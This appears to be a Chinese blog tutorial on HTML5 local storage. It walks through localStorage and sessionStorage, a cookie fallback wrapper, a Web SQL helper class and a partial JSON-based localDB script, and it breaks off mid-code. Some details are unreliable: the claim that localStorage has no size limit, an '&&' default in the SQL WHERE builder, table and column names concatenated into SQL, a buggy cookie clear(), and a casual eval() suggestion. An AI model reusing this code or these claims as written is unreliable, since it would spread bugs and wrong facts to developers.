精华内容
下载资源
问答
  • H5存储(web Storage和web SQL

    千次阅读 2017-07-07 10:18:51
    一、Web Storage教程 1、概述: 对于Web Storage来说,实际上是Cookies存储的进化版。如果了解Cookie的人几乎一看Web Storage就会用,如果你从来没用过没了解过Cookie,没关系,看了这篇文章照样轻松玩转Web ...

    一、Web Storage教程


    1、概述:

    对于Web Storage来说,实际上是Cookies存储的进化版。如果了解Cookie的人几乎一看Web Storage就会用,如果你从来没用过没了解过Cookie,没关系,看了这篇文章照样轻松玩转Web Storage。首先,学习Web Storage只需背熟这句口诀:“两个接口,四个函数”。


    2、口诀:

    (1)两个接口:分别是localStoragesessonStorage

    (2)四个函数:分别是setItemgetItemremoveItemclear


    3、localStorage:

    (1)特性:

         域内安全、永久保存。即客户端或浏览器中来自同一域名的所有页面都可访问localStorage数据且数据除了删除否则永久保存,但客户端或浏览器之间的数据相互独立。

    (2)四个函数:

         A. localStorage.setItem      存储数据信息到本地

         B. localStorage.getItem      读取本地存储的信息

         C. localStorage.removeItem   删除本地存储的信息

         D. localStorage.clear        清空所以存储的信息

        


     4、sessonStorage

     (1)特性:

          会话控制、短期保存。会话概念与服务器端的session概念相似,短期保存指窗口或浏览器或客户端关闭后自动消除数据。

     (2)四个函数:

          A. sessionStorage.setItem       存储数据信息到本地

          B. sessionStorage.getItem       读取本地存储的信息

          C. sessionStorage.removeItem    删除本地存储的信息

          D. sessionStorage.clear         清空所以存储的信息

          


    5、四个函数的用法

    (1)localStorage.setItem(键名,键值)

             在本地客户端存储一个字符串类型的数据,其中,第一个参数“键名”代表了该数据的标识符,而第二个参数“键值”为该数据本身。如:

                     localStorage.setItem("coffeeType", "mocha");      //存储键名为coffeeType和键值为mocha的数据到本地
                     localStorage.setItem("coffeePrice", "28");        //有了上一句做参考,这句意思你该理解了吧

         

    (2)localStorage.getItem(键名)

             读取已存储在本地的数据,通过键名作为参数读取出对应键名的数据。如:

                     var data = localStorage.getItem("coffeeType");   //读取对应键名为coffeeType的数据

         
    (3)localStorage.removeItem(键名)

             移除已存储在本地的数据,通过键名作为参数删除对应键名的数据。如:

                     localStorage.removeItem("coffeeType");           //从本地存储中移除键名为coffeeType的数据
         
    (4)localStorage.clear()

             移除本地存储所有数据。如:

                     localStorage.clear();      //保存着的"coffeePrice/28"键/值对也被移除了,所有本地数据拜拜


         
    (5)另外,sessionStorage中的四个函数与以上localStorage类的函数用法基本一致,就不再详解。

         


    6、兼容问题

    有人会说本地存储是H5的新贵,但是对于老、旧的浏览器来说怎么办?那就不用老古董浏览器呗,或者使用cookie作为替代。因为大多使用localStorage是用来存储字符串的,在其他编译型的语言看来,存储字符串能做些什么,但在javascript身上,旧大放光彩,可以存储JSON格式的字符串来扩展应用,可以存储类名变量值等等信息再通过eval()来感受使用JS的快感。既然localStorage是存储字符串的,那么在老古董浏览器上,可以通过使用Cookies来做替代方案并做好域内安全。






    二、Web Storage应用


    1、基本使用

    我们先把上面的四个函数整理一下,并加入一段验证代码用于检测本地的数据存储的存在情况。


    ( localStorage 使用测试 )

    [javascript]  view plain  copy
     print ?
    1. <script type="text/javascript">  
    2.   
    3.     localStorage.setItem("coffeeType""mocha");  
    4.     localStorage.setItem("coffeePrice""28");  
    5.   
    6.     verify();   //验证本地存储  
    7.     localStorage.removeItem("coffeeType");  
    8.     verify();   //验证coffeeType是否存在  
    9.     localStorage.clear();  
    10.     verify();   //验证coffeeType和coffeePrice是否存在  
    11.   
    12.     //自定义验证函数,验证coffeeType和coffeePrice的数据是否存在  
    13.     function verify(){  
    14.         var type = localStorage.getItem("coffeeType");  
    15.         var price = localStorage.getItem("coffeePrice");  
    16.         type = type ? type : '不存在';  
    17.         price = price ? price : '不存在';  
    18.   
    19.         alert( "coffeeType: " + type + "\n\n" + "coffeePrice: " + price );  
    20.     }  
    21. </script>  

    如果上面代码执行后弹出框提示不存在的话,那么意味着本地不支持H5的 localStorage 本地存储。那么不支持怎么办,DON'T 担心,可以写一段代码来兼容使用,请继续看下去。


    2、兼容使用

    在写兼容代码前,再来说一点关于Web Storage的内容,在Web Storage的两个类中,我们比较常用的是localStorage类,至于session的话就交给后台去写吧。但是localStorage类在不支持H5的时候使用不了,所以我们将localStorage的四个函数封装一下,使得当浏览器或客户端不兼容localStorage时自动切换到Cookies存储

    首先,要写好一个操作cookie的类和函数,将四个函数的名字和参数还有功能和localStorage保持一致。正好,《JavaScript权威指南》第五版里已经写好了一个cookieStorage代码,但是呢,这段代码有BUG的,和稍微与localStorage不一致,所以我修改了一下,花了点时间造下轮子,代码如下:


    ( cookieStorage.js )

    [javascript]  view plain  copy
     print ?
    1. //《JavaScript权威指南》一书中有实现基于cookie的存储API,我把代码敲下来  
    2. // 另外,书中的代码有错,以下为无BUG版并修改成1000天相当长的存储时间  
    3. window.cookieStorage = (new (function(){  
    4.     var maxage = 60*60*24*1000;  
    5.     var path = '/';  
    6.   
    7.     var cookie = getCookie();  
    8.   
    9.     function getCookie(){  
    10.         var cookie = {};  
    11.         var all = document.cookie;  
    12.         if(all === "")  
    13.             return cookie;  
    14.         var list = all.split("; ");  
    15.         for(var i=0; i < list.length; i++){  
    16.             var cookies = list[i];  
    17.             var p = cookies.indexOf("=");  
    18.             var name = cookies.substring(0,p);  
    19.             var value = cookies.substring(p+1);  
    20.             value = decodeURIComponent(value);  
    21.             cookie[name] = value;  
    22.         }  
    23.         return cookie;  
    24.     }  
    25.   
    26.     var keys = [];  
    27.     for(var key in cookie)  
    28.         keys.push(key);  
    29.   
    30.     this.length = keys.length;  
    31.   
    32.     this.key = function(n){  
    33.         if(n<0 || n >= keys.length)  
    34.             return null;  
    35.         return keys[n];  
    36.     };  
    37.   
    38.     this.setItem = function(key, value){  
    39.         if(! (key in cookie)){  
    40.             keys.push(key);  
    41.             this.length++;  
    42.         }  
    43.   
    44.         cookie[key] = value;  
    45.         var cookies = key + "=" +encodeURIComponent(value);  
    46.         if(maxage)  
    47.             cookies += "; max-age=" + maxage;  
    48.         if(path)  
    49.             cookies += "; path=" + path;  
    50.   
    51.         document.cookie = cookies;  
    52.     };  
    53.   
    54.     this.getItem = function(name){  
    55.         return cookie[name] || null;  
    56.     };  
    57.   
    58.     this.removeItem = function(key){  
    59.         if(!(key in cookie))  
    60.             return;  
    61.   
    62.         delete cookie[key];  
    63.   
    64.         for(var i=0; i<keys.length; i++){  
    65.             if(keys[i] === key){  
    66.                 keys.splice(i, 1);  
    67.                 break;  
    68.             }  
    69.         }  
    70.         this.length--;  
    71.   
    72.         document.cookie = key + "=; max-age=0";  
    73.     };  
    74.   
    75.     this.clear = function(){  
    76.         for(var i=0; i<keys.length; i++)  
    77.             document.cookie = keys[i] + "; max-age=0";  
    78.         cookie = {};  
    79.         keys = [];  
    80.         this.length = 0;  
    81.     };  
    82. })());  


    有了上面的cookieStorage函数,那就好办了,只需 localStoragecookieStorage整合在一起 就完美了。

    那么开始动手,新建一个myStorage.js文件,把上面的cookieStorage代码Copy进去,然后再开始写以下代码:


    ( myStorage.js )

    [javascript]  view plain  copy
     print ?
    1. //本地存储,localStorage类没有存储空间的限制,而cookieStorage有存储大小限制  
    2. //在不支持localStorage的情况下会自动切换为cookieStorage  
    3. window.myStorage = (new (function(){  
    4.   
    5.     var storage;    //声明一个变量,用于确定使用哪个本地存储函数  
    6.   
    7.     if(window.localStorage){  
    8.         storage = localStorage;     //当localStorage存在,使用H5方式  
    9.     }  
    10.     else{  
    11.         storage = cookieStorage;    //当localStorage不存在,使用兼容方式  
    12.     }  
    13.   
    14.     this.setItem = function(key, value){  
    15.         storage.setItem(key, value);  
    16.     };  
    17.   
    18.     this.getItem = function(name){  
    19.         return storage.getItem(name);  
    20.     };  
    21.   
    22.     this.removeItem = function(key){  
    23.         storage.removeItem(key);  
    24.     };  
    25.   
    26.     this.clear = function(){  
    27.         storage.clear();  
    28.     };  
    29. })());  


    上面的代码是myStorage.js,你可以直接Copy。把做好的myStorage.js文件引入到HTML文档后,用法就是跟localStorage的函数一样,不信你试试:


    (1)myStorage.setItem(键名,键值)

             在本地客户端存储一个字符串类型的数据,其中,第一个参数“键名”代表了该数据的标识符,而第二个参数“键值”为该数据本身。如:

                     myStorage.setItem("coffeeType", "mocha");      //存储键名为coffeeType和键值为mocha的数据到本地
                     myStorage.setItem("coffeePrice", "28");        //有了上一句做参考,这句意思你该理解了吧

         
    (2)myStorage.getItem(键名)

             读取已存储在本地的数据,通过键名作为参数读取出对应键名的数据。如:

                     var data = myStorage.getItem("coffeeType");   //读取对应键名为coffeeType的数据
         
    (3)myStorage.removeItem(键名)

             移除已存储在本地的数据,通过键名作为参数删除对应键名的数据。如:

                     myStorage.removeItem("coffeeType");           //从本地存储中移除键名为coffeeType的数据
         
    (4)myStorage.clear()

             移除本地存储所有数据。如:

                     myStorage.clear();      //保存着的"coffeePrice/28"键/值对也被移除了,所有本地数据拜拜


    仔细一看,你会发现,localStorage中的local改成了my变成了myStorage,这个不得了啊,当客户的使用环境不支持H5的时候,这个小小的变脸"my"可是会切换成cookie,有那么点可能救你一命。不过为了更加保命,你可以造多一个轮子,当客户环境不支持H5又不支持cookie时,轮子会自动把数据上传到服务器来保存;如果客户支持cookie,但是有定期清除的习惯,那么你可以做一个轮子来控制cookie时间,并在有限时间内把数据备份到服务,等等等等,看你怎么发挥吧。


    想省事的童鞋,可以直接点击下myStorage.js.


    H5本地存储中,除了包含了localStorage和sessionStorage的Web Storage外,还有一个小众的Web SQL,请看下文。






    三、Web SQL教程



    1、概述:

    H5的本地存储中,其实localStorage并不算是很强大的存储,而Web SQL Database才是牛逼的存在,在浏览器或客户端直接可以实现一个本地的数据库应用,比如做一个个人的备忘录啊,注意,是个人,为什么?因为世面上只有主流的浏览器实现了WebSQL功能,很多非主流并不兼容WebSQL,并且,所谓的主流只是编程开发人员眼中的主流,如果是用户平时自己使用的那些乱七八糟的浏览器,WebSQL简直是灾难啊!!!另外,浏览器间对WebSQL的支持并非为规范,因为这个规范几年前被官方放弃了。还有一个WebSQL不能够广泛使用的原因是,大量前端工程师不懂数据库也没有上进心或好奇心或空闲时间去研究和学会应用WebSQL,导致了开发人员逃避WebSQL和用户对WebSQL没有使用习惯和各类客户端对WebSQL兼容性参差不齐等现象,是WebSQL不能够像服务器端的数据库那么广泛应用的主要原因。


    吐槽归吐槽,教程还是要写的。先说学习口诀:“一个语言,三个函数”。



    2、口诀:

    (1)一个语言:不管是WebSQL还是MySQL,SQL的语法必须掌握。SQL是一个结构化查询语言,说白就是用来查询数据的语言中是最自然、最简洁的。

    (2)三个函数:分别是:
            A. openDatabase    创建或打开一个本地的数据库对象
            B. executeSql      执行SQL语句,在回调函数的参数中获取执行结果
            C. transaction     处理事务,当一条语句执行失败的时候,之前的执行全部失效


    3、SQL:

    (1)概述:               

              以下只是把每个功能对应的最基本的SQL语句过一遍。如果不会SQL的,仅做简单语法参考,有兴趣的童鞋需要找资料系统性地全面学习。

    (2)创建数据表:

             创建具有多个列,每个列用于存放可不同类型的数据。有列自然有行的概念,行代表一组数据,每组数据是当行对应的多个列的数据集合。

             CREATE TABLE IF NOT EXISTS 表名(列名称1 数据类型,  列名称2 数据类型,  列名称N 数据类型)

    (3)查询数据:

             从某表中查询某行某列的数据或查询表中所有元素。

             SELECT 列名称1,列名称2,列名称3 FROM 表名称 WHERE 某列名 = 某值

    (4)插入数据:

             向某表中插入行数据,行中每个值对应列名。

             INSERT INTO 表名(列名称1, 列名称2, 列名称N) VALUES (值1, 值2, 值N)

    (5)更新数据:

             更新某行中列的值。

             UPDATE 表名 SET 列名称1=新值, 列名称2=新值, 列名称N=新值 WHERE 某列名 = 某值

    (6)删除数据:

             删除某行,否则删除所有数据。

             DELETE FROM 表名 WHERE 列名称 = 值



    4、Web SQL本地存储的三个函数:

    (1)openDatabase (数据库名字, 数据库版本号, 显示名字, 数据库保存数据的大小, 回调函数(可选))

             不过是否一脸懵逼,好奇怪是不是,参数还要写版本号,还有,显示名字什么鬼?不过,经过测试后,我都是直接这样写就是了(大小请自己定),如下:

              var db = openDatabase("MyDatabase", "", "My Database", 1024*1024);
         

    (2)executeSql(查询字符串, 用以替换查询字符串中问号的参数, 执行成功回调函数(可选), 执行失败回调函数(可选))

             参数一自然是SQL语句,其中值数据可用?代替;参数二是SQL语句中?对应的值(很像PDO的预处理)。注意,executeSql不能单独使用,需要在事务transaction函数下使用。例子如下:

              executeSql("CREATE TABLE IF NOT EXISTS MyData(name TEXT,message TEXT,time INTEGER)");


    (3)transaction(包含事务内容的一个方法, 执行成功回调函数(可选), 执行失败回调函数(可选))

             事务内容为一个或多个executeSql函数构成。这个函数很难用语言表达,所以请看例子:

              db.transaction(function(tx){
                 tx.executeSql("CREATE TABLE IF NOT EXISTS MyData(name TEXT,message TEXT,time INTEGER)", [], function(){                         alert("create ok")});
                     tx.executeSql("SELECT * FROM MyData", [], function(){alert("select ok")});
                     tx.executeSql("DROP TABLE IF EXISTS MyData", [], function(){alert("drop ok")});

               });



    5、Web SQL的使用:

    程序员最喜欢做的事情之一就是封装,将代码封装成自己喜欢的样子,然后在需要用到时会感谢当年封装好的类或函数不需要再造轮子就直接修改着用。所以,我也不例外,把openDatabaseexecuteSqltransaction三个核心函数封装成一个类。注意,这个类只是实现基本的功能,并且查询我没有写条件查询而是直接查询全部结果。对封装Web SQL有兴趣的童鞋可以研究一下以下代码:

    (没兴趣的请忽略,跳到第四条:H5本地存储的框架程序)


    ( webSQL.js )

    [javascript]  view plain  copy
     print ?
    1. //回调函数,需要被赋值成函数,初始化为null  
    2. var webSQL_create_handle = null;  
    3. var webSQL_insert_handle = null;  
    4. var webSQL_update_handle = null;  
    5. var webSQL_delete_handle = null;  
    6. var webSQL_select_handle = null;  
    7. var webSQL_drop_handle = null;  
    8.   
    9. //连接数据库(数据库名,数据大小)  
    10. function webSQL(database="MyDatabase", datasize=1024*1024){  
    11.     this.db = openDatabase(database, """My Database", datasize);  
    12. }  
    13. webSQL.prototype={  
    14.   
    15.     //作为webSQL的原型  
    16.     constructor: webSQL,  
    17.   
    18.     //创建表,参数为表名和列名  
    19.     create : function(table, allcol){  
    20.         var col = "";  
    21.         for(var i=0; i<allcol.length; i++){  
    22.             col += allcol[i];  
    23.   
    24.             if(i !== allcol.length-1){  
    25.                 col += ",";  
    26.             }  
    27.         }  
    28.         var sql = "CREATE TABLE IF NOT EXISTS "+table+"("+col+")";  
    29.         this.db.transaction(function(tx){  
    30.             tx.executeSql(sql,  
    31.                 [],  
    32.                 function(tx,rs){  
    33.                     console.log(tx,"创建表成功!");  
    34.                     if(webSQL_create_handle && typeof(webSQL_create_handle)=="function"){  
    35.                         webSQL_create_handle();  
    36.                     }  
    37.                 },  
    38.                 function(tx,error){  
    39.                     console.log(error,"创建表失败!");  
    40.                 }  
    41.             );  
    42.         });  
    43.     },  
    44.   
    45.     //删除表,参数为表名  
    46.     drop : function(table){  
    47.         var sql = "DROP TABLE IF EXISTS "+table;  
    48.         this.db.transaction(function(tx){  
    49.             tx.executeSql(sql,  
    50.                 [],  
    51.                 function(tx,rs){  
    52.                     console.log(tx,"删除表成功!");  
    53.                     if(webSQL_drop_handle && typeof(webSQL_drop_handle)=="function"){  
    54.                         webSQL_drop_handle();  
    55.                     }  
    56.                 },  
    57.                 function(tx,error){  
    58.                     console.log(error,"删除表失败!");  
    59.                 }  
    60.             );  
    61.         });  
    62.     },  
    63.   
    64.     //插入数据,表名,列名,对应列值  
    65.     insert : function(tableName, colNameArray, colValueArray){  
    66.         var allColName = "";  
    67.         var quesMark = "";  
    68.         for(var i=0; i<colNameArray.length; i++){  
    69.             if(colNameArray[i]){  
    70.                 allColName += colNameArray[i];  
    71.                 quesMark += "?";  
    72.                 if(i !== colNameArray.length-1){  
    73.                     allColName += ",";  
    74.                     quesMark += ",";  
    75.                 }  
    76.             }  
    77.         }  
    78.         var sql = "INSERT INTO "+tableName+"("+allColName+") VALUES ("+quesMark+")";  
    79.         this.db.transaction(function(tx){  
    80.             tx.executeSql(  
    81.                 sql,  
    82.                 colValueArray,  
    83.                 function(tx,rs){  
    84.                     console.log(tx,"插入数据成功!");  
    85.                     if(webSQL_insert_handle && typeof(webSQL_insert_handle)=="function"){  
    86.                         webSQL_insert_handle();  
    87.                     }  
    88.                 },  
    89.                 function(tx,error){  
    90.                     console.log(error,"插入数据失败!");  
    91.                 }  
    92.             );  
    93.         });  
    94.     },  
    95.   
    96.     //更新数据,表名,列名,列值,条件列名,条件列值,条件关系,是否通配  
    97.     update : function(tableName, colNameArray, colValueArray, whereColName=null, whereColValue=null, relation="&&", equal="="){  
    98.         var colAndValue = "";  
    99.         for(var i=0; i<colNameArray.length; i++){  
    100.             if(colNameArray[i]){  
    101.                 colAndValue += (colNameArray[i] + "=?");  
    102.                 if(i !== colNameArray.length-1){  
    103.                     colAndValue += ",";  
    104.                 }  
    105.             }  
    106.         }  
    107.         var whereSyntax = "";  
    108.         if(whereColName){  
    109.             for(var j=0; j<whereColName.length; j++){  
    110.                 if(whereColName[j]){  
    111.                     if(j === 0){  
    112.                         whereSyntax += " WHERE ";  
    113.                     }  
    114.                     whereSyntax += (whereColName[j] + "" + equal + "?");  
    115.                     if(j !== whereColName.length-1){  
    116.                         whereSyntax += (" "+relation+" ");  
    117.                     }  
    118.                 }  
    119.             }  
    120.         }  
    121.         var fanalArray = new Array();  
    122.         for(var m=0; m<colValueArray.length; m++){  
    123.             if(colValueArray[m]){  
    124.                 fanalArray.push(colValueArray[m]);  
    125.             }  
    126.         }  
    127.         if(whereColValue){  
    128.             for(var n=0; n<whereColValue.length; n++){  
    129.                 if(whereColValue[n]){  
    130.                     fanalArray.push(whereColValue[n]);  
    131.                 }  
    132.             }  
    133.         }  
    134.         var sql = "UPDATE "+tableName+" SET "+colAndValue+""+whereSyntax;  
    135.         this.db.transaction(function(tx){  
    136.             tx.executeSql(  
    137.                 sql,  
    138.                 fanalArray,  
    139.                 function(tx,rs){  
    140.                     console.log(tx,"更新数据成功");  
    141.                     if(webSQL_update_handle && typeof(webSQL_update_handle)=="function"){  
    142.                         webSQL_update_handle();  
    143.                     }  
    144.                 },  
    145.                 function(tx,error){  
    146.                     console.log(error,"更新数据失败!");  
    147.                 }  
    148.             );  
    149.         });  
    150.     },  
    151.   
    152.     //删除数据,表名,条件列名,条件列值,条件关系,是否通配  
    153.     delete : function(tableName, whereColName=null, whereColValue=null, relation="&&", equal="="){  
    154.         var whereSyntax = "";  
    155.         if(whereColName){  
    156.             for(var j=0; j<whereColName.length; j++){  
    157.                 if(whereColName[j]){  
    158.                     if(j === 0){  
    159.                         whereSyntax += " WHERE ";  
    160.                     }  
    161.                     whereSyntax += (whereColName[j] + "" + equal + "?");  
    162.                     if(j !== whereColName.length-1){  
    163.                         whereSyntax += (" "+relation+" ");  
    164.                     }  
    165.                 }  
    166.             }  
    167.         }  
    168.         var fanalColValue = new Array();  
    169.         for(var n=0; n<whereColValue.length; n++){  
    170.             if(whereColValue[n]){  
    171.                 fanalColValue.push(whereColValue[n]);  
    172.             }  
    173.         }  
    174.         var sql = "DELETE FROM "+tableName+""+whereSyntax;  
    175.         this.db.transaction(function(tx){  
    176.             tx.executeSql(  
    177.                 sql,  
    178.                 fanalColValue,  
    179.                 function(tx,rs){  
    180.                     console.log(tx,"删除数据成功!");  
    181.                     if(webSQL_delete_handle && typeof(webSQL_delete_handle)=="function"){  
    182.                         webSQL_delete_handle();  
    183.                     }  
    184.                 },  
    185.                 function(tx,error){  
    186.                     console.log(error,"删除数据失败!");  
    187.                 }  
    188.             );  
    189.         });  
    190.     },  
    191.   
    192.     //查询所有数据  
    193.     select : function(tableName){  
    194.         var sql = "SELECT * FROM "+tableName;  
    195.         console.log("db",this.db);  
    196.         this.db.transaction(function(tx){  
    197.             tx.executeSql(  
    198.                 sql,  
    199.                 [],  
    200.                 function(tx,rs){  
    201.                     for(var i=0; i<rs.rows.length; i++){  
    202.                         console.log(rs.rows.item(i).name, rs.rows.item(i).value);  
    203.                     }  
    204.                     if(webSQL_select_handle && typeof(webSQL_select_handle)=="function"){  
    205.                         webSQL_select_handle(rs.rows);  
    206.                     }  
    207.                 },  
    208.                 function(tx,error){  
    209.                     console.log(error,"查询失败");  
    210.                 }  
    211.             );  
    212.         });  
    213.     }  
    214. }  


    好长好长的代码,看起来很长很臭,其实这个类非常易用,首先我要把这个类保存在js文件,我命名为webSQL.js,然后需要把这个类引入到HTML文档中使用,下面就是这个类的使用方法:


    ( webSQL.js 使用测试 )

    [html]  view plain  copy
     print ?
    1. <!DOCTYPE html>  
    2. <html>  
    3. <head>  
    4.     <meta charset="utf-8">  
    5.     <title>测试Web SQL数据库</title>  
    6. </head>  
    7. <body>  
    8.     <div id="msg">  
    9.         <b>Test测试Web SQL</b><br><br><br>  
    10.     </div>  
    11.       
    12. <script src="webSQL.js"></script>  
    13.   
    14. <script type="text/javascript">  
    15.   
    16.         //自行根据需求,补充完整查询执行后的回调函数,注意有带参数,参数为查询结果  
    17.         webSQL_select_handle = function(rows){  
    18.             document.getElementById("msg").innerHTML += "正在读取数据<br><br>";  
    19.             for(var i=0; i<rows.length; i++){  
    20.         //rows为查询结果,【rows.item(数据行号)】可得到行数据,【rows.item(行号).字段名】可得到行数据中的列字段的数据  
    21.                 document.getElementById("msg").innerHTML += ((i+1)+". name: "+rows.item(i).name + ", value: " + rows.item(i).value +"<br><br>");  
    22.             }  
    23.         };  
    24.   
    25.         //自行根据需求,补充完整新建数据表后的执行回调函数  
    26.         webSQL_create_handle = function(){  
    27.             document.getElementById("msg").innerHTML += "正在创建数据表<br><br>";  
    28.         };  
    29.   
    30.         //自行根据需求,补充完整插入数据后的执行回调函数  
    31.         webSQL_insert_handle = function(){  
    32.             document.getElementById("msg").innerHTML += "正在插入数据<br><br>";  
    33.         };  
    34.   
    35.         //自行根据需求,补充完整更新数据后的执行回调函数  
    36.         webSQL_update_handle = function(){  
    37.             document.getElementById("msg").innerHTML += "正在更新数据<br><br>";  
    38.         };  
    39.   
    40.         //自行根据需求,补充完整删除数据后的执行回调函数  
    41.         webSQL_delete_handle = function(){  
    42.             document.getElementById("msg").innerHTML += "正在删除数据<br><br>";  
    43.         };  
    44.   
    45.         //自行根据需求,补充完整删除表后的执行回调函数  
    46.         webSQL_drop_handle = function(){  
    47.             document.getElementById("msg").innerHTML += "正在清空并删除数据表<br><br>";  
    48.         }  
    49.   
    50.         //实例化webSQL类  
    51.         var db = new webSQL("MyDatabase");  
    52.   
    53.         //新建一个表,带有两个字段,分别为name和value  
    54.         db.create("myTable", ["name", "value"]);  
    55.   
    56.         //插入两个数据,分别是Coffe和me  
    57.         db.insert("myTable", ["name", "value"], ["Coffee", "me"]);  
    58.           
    59.         //插入两个数据,分别是JavaScript和good  
    60.         db.insert("myTable", ["name", "value"], ["JavaScript", "good"]);  
    61.   
    62.         //查询所有数据  
    63.         db.select("myTable");  
    64.   
    65.         //更新数据,将name字段为Coffee的值更改为lhb  
    66.         db.update("myTable",["name"],["lhb"],["name"],["Coffee"]);  
    67.   
    68.         //查询所有数据  
    69.         db.select("myTable");  
    70.   
    71.         //删除name为lhb的数据  
    72.         db.delete("myTable",["name"],["lhb"]);  
    73.   
    74.         //查询所有数据  
    75.         db.select("myTable");  
    76.   
    77.         //删除表  
    78.         db.drop("myTable");  
    79. </script>  
    80. </body>  
    81. </html>  

    用法非常简单是不是,直接往我写好的函数传参数即可,不过这段代码只在Chrome谷歌浏览器测试通过,其他浏览器没试过,不确定是否兼容其他浏览器。



    有需要webSQL.js库的,可以复制粘贴或点击这里下载,如果你需要很完整的SQL操作,请你参考着写或找找其他类库(网上好多大神有封装过WebSQL的),本文所有代码皆只为了供学习和参考,不适直接生产使用。






    四、H5本地存储的框架程序(重点)



    1、localStorage类高级应用:

    由于并不是所有浏览器都支持WebSQL,而localStorage有着不限量且长期保存在硬盘的特点,所以可以将localStorage再改造,改造成为具备有数据库特点的应用。想要localStorage能具备数据库这种类型的功能,那只能依靠JSON来成大事了。JSON是文本、是语言、是对象、是数组,只要跟JS配合,简直就是万能的(夸张了)!由于JSON实质上是字符串,所以通过localStorage存储在本地十分方便,但是JSON又可以通过JS转化为对象(如今几乎所有语言都能解析JSON),所以小小字符串能成就无限可能。只要有想象力,JSON + JavaScript有强大的行动力。

       

    扯远了!我们先来说说JSON如何使用:首先,到JSON官网下载 json2.js 文件并引入到HTML中;然后使用 JSON.stringify(js对象) 函数将js对象转换成json字符串,或者使用 JSON.parse(json字符串) 函数将json字符串转换成js对象。是不是很抽象?直接看代码吧:


    (JSON使用方法)

    [html]  view plain  copy
     print ?
    1. <script src="json2.js"></script>  
    2. <script type="text/javascript">  
    3.     var Obj = { name: 'Coffee', sex: 'man' };   //一个js对象  
    4.       
    5.     var Json = JSON.stringify(Obj);   //将js对象转换成json字符串  
    6.       
    7.     var Js = JSON.parse(Json);        //json字符串转换成js对象  
    8. </script>  


    掌握了JSON的基本操作后,我们就可以来实现一套方便的本地数据存储了。我们先来分析一下,我们不需要庞杂的SQL语句来解析我们要对数据库做的操作,我们只需要有一套API,直接传值调用即可。一个数据库需要建立空间来保存信息,我们先假想一个空间是可以无限扩展的、动态调整其自身大小的,但每个空间之间的值是不关联的,这个空间的概念类似传统的数据表。


    所以,我们需要一个主要管理空间的函数,这个函数主要功能是:存储着每个空间的名字、可以创建新的空间、确保向空间插入数据时空间是存在的否则插入失败、可以随意删除空间。

    有了空间的概念后,就需要有个管理空间内部的机器人,这个机器人所懂得的行动就像基本的SQL操作一样,具有增、删、查、改功能。

    空间可以理解为一个容器,这个容器像一个数组,但这个数组的成员不是相同类型的、有各种各样风格的、有大有小的。这里成员的概念又像对象,每个对象都可以不一样。


    有了以上的想法后,我的手指不受控制地跟着思路跑,结果给我写出了这么一个基于JSON的本地存储,这个是我最满意的代码之一了:


    ( localDB.js )

    [javascript]  view plain  copy
     print ?
    1. //需要myStorage.js文件  
    2. //需要json2.js文件  
    3. if(! (myStorage && JSON)){  
    4.     alert("需要myStorage.js和json2.js两个文件");  
    5. }  
    6.   
    7. window.localDB = (new (function(){  
    8.   
    9.     //创建一个空间,参数为空间名  
    10.     this.createSpace = function(space_name){  
    11.   
    12.         iftypeof(space_name)!=="string" ){  
    13.             console.log("space_name参数需为字符串");  
    14.             return false;  
    15.         }  
    16.         //如果还没有数据库空间管理器,新建一个,否则检测空间管理器中是否已存在同名的空间  
    17.         if(!myStorage.getItem("localSpaceDB")){  
    18.             var space_obj = [];  
    19.             var space_json = JSON.stringify(space_obj);     //转化对象为JSON格式  
    20.             myStorage.setItem("localSpaceDB", space_json);  
    21.   
    22.             console.log("新建localSpaceDB成功");  
    23.         }  
    24.   
    25.         //取出所有空间名,空间名存在JSON中,所以需要转化成JS对象  
    26.         var space_obj = JSON.parse(myStorage.getItem("localSpaceDB"));  
    27.   
    28.         //检查对象是否存在空间名  
    29.         for(var i=0; i<space_obj.length; i++){  
    30.             if(space_obj[i].spaceName == space_name){  
    31.   
    32.                 console.log("已存在空间名"+space_name+",新建失败");  
    33.   
    34.                 return false;   //如果已存在空间名,退出函数,返回失败值  
    35.             }  
    36.         }  
    37.   
    38.         //空间管理器localSpaceDB登记新空间  
    39.         var new_obj = {     //将空间名保存在新对象中  
    40.             spaceName : space_name  
    41.         };  
    42.         var old_space_obj = JSON.parse(myStorage.getItem("localSpaceDB"));   //获取存储所有空间名的对象  
    43.         old_space_obj.push( new_obj );  
    44.         var new_space_json = JSON.stringify(old_space_obj);  
    45.         myStorage.setItem("localSpaceDB", new_space_json);  
    46.   
    47.         //新建一个变量名为space_name的值的空间  
    48.         var data_obj = [];  
    49.         var data_json = JSON.stringify(data_obj);  
    50.         myStorage.setItem(space_name, data_json);  
    51.   
    52.         console.log("新建"+space_name+"空间成功");  
    53.         return true;  
    54.     };  
    55.   
    56.   
    57.     //删除一个空间,参数为空间名  
    58.     this.deleteSpace = function(space_name){  
    59.         iftypeof(space_name)!=="string" ){  
    60.             console.log("space_name参数需为字符串");  
    61.             return false;  
    62.         }  
    63.         //判断是否删除的依据变量  
    64.         var isDelete = false;  
    65.         //空间管理器待删除的空间名的下标  
    66.         var delIndex = -1;  
    67.         //是否存在空间管理器localSpaceDB  
    68.         if(myStorage.getItem("localSpaceDB")){  
    69.             //获取空间管理器中所有空间名字的json数据并转化为js对象  
    70.             var all_space_name_obj = JSON.parse(myStorage.getItem("localSpaceDB"));  
    71.             //检测是否存在space_name值的空间名,记录删除信息  
    72.             for(var i=0; i<all_space_name_obj.length; i++){  
    73.                 if(all_space_name_obj[i].spaceName == space_name){  
    74.                     isDelete = true;  
    75.                     delIndex = i;  
    76.                 }  
    77.             }  
    78.             //确定是否删除  
    79.             if(isDelete === true && delIndex !== -1){  
    80.                 all_space_name_obj.splice(delIndex, 1);     //删除空间名  
    81.                 var new_space_json = JSON.stringify(all_space_name_obj);    //转换对象为JSON  
    82.                 //更新空间管理器信息  
    83.                 myStorage.setItem("localSpaceDB", new_space_json);  
    84.                 //删除空间  
    85.                 myStorage.removeItem(space_name);  
    86.   
    87.                 console.log("成功删除"+space_name+"空间");  
    88.                 return true;  
    89.             }  
    90.             else{  
    91.                 console.log("删除空间失败,不存在"+space_name+"空间");  
    92.                 return false;  
    93.             }  
    94.         }  
    95.     };  
    96.   
    97.     //插入数据,参数分别为空间名、插入的对象(不单纯用值来表示,用对象来表示数据)  
    98.     this.insert = function(space_name, obj_data){  
    99.         //检测是否存在空间  
    100.         if(myStorage.getItem(space_name)){  
    101.             //获取空间存储的数据  
    102.             var all_data = JSON.parse(myStorage.getItem(space_name));  
    103.             //插入数据  
    104.             all_data.push(obj_data);  
    105.             myStorage.setItem(space_name, JSON.stringify(all_data));  
    106.   
